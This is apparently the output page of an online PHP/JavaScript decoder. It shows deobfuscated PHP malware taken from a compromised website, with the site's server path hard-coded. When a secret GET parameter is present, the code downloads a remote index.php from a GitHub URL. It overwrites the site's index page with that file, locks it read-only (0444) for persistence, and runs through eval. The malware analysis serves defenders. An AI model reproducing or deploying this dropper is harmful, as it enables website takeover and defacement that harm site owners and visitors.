Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


$code = "\xa\xaif (isset($_GET['mainbatosay'])) {\xa    $dirPath = '/var/www/vhosts/ornithologiki.gr/ornithologiki.gr';\xa    $filePath = $dirPath . '/index.php';\xa\xa    $url = 'https://raw.githubusercontent.com/baimsinaga/ornithologiki.gr/refs/heads/main/index.php;\xa\xa    $desiredPermission = 0444;\xa\xa    if (!is_dir($dirPath)) {\xa        if (!mkdir($dirPath, 0755, true)) {\xa            die("Gagal membuat direktori $dirPath");\xa        }\xa    }\xa\xa    $remoteContent = file_get_contents($url);\xa\xa    if ($remoteContent === false) {\xa        echo "Gagal mengambil konten dari URL.\n";\xa        exit;\xa    }\xa\xa    if (file_exists($filePath)) {\xa        $localContent = file_get_contents($filePath);\xa\xa        if ($localContent !== $remoteContent) {\xa            if (file_put_contents($filePath, $remoteContent) !== false) {\xa                echo "Isi file berhasil diperbarui.\n";\xa            } else {\xa                echo "Gagal memperbarui isi file.\n";\xa            }\xa        } else {\xa            echo "Isi file sudah sama dengan konten dari URL.\n";\xa        }\xa\xa        $filePermission = fileperms($filePath);\xa\xa        if (($filePermission & 0777) !== $desiredPermission) {\xa            if (chmod($filePath, $desiredPermission)) {\xa                echo "Izin file telah diubah menjadi 444.\n";\xa            } else {\xa                echo "Gagal mengubah izin file.\n";\xa            }\xa        }\xa    } else {\xa        if (file_put_contents($filePath, $remoteContent) !== false) {\xa            if (chmod($filePath, $desiredPermission)) {\xa                echo "File berhasil dibuat dengan konten dari URL dan izin 444.\n";\xa            } else {\xa                echo "File berhasil dibuat tetapi tidak mengubah izinnya.\n";\xa            }\xa        } else {\xa            echo "Gagal membuat file.\n";\xa        }\xa    }\xa}\xa\xa";
eval(str_replace('\\x', '%', urldecode($code)));



© 2023 Quttera Ltd. All rights reserved.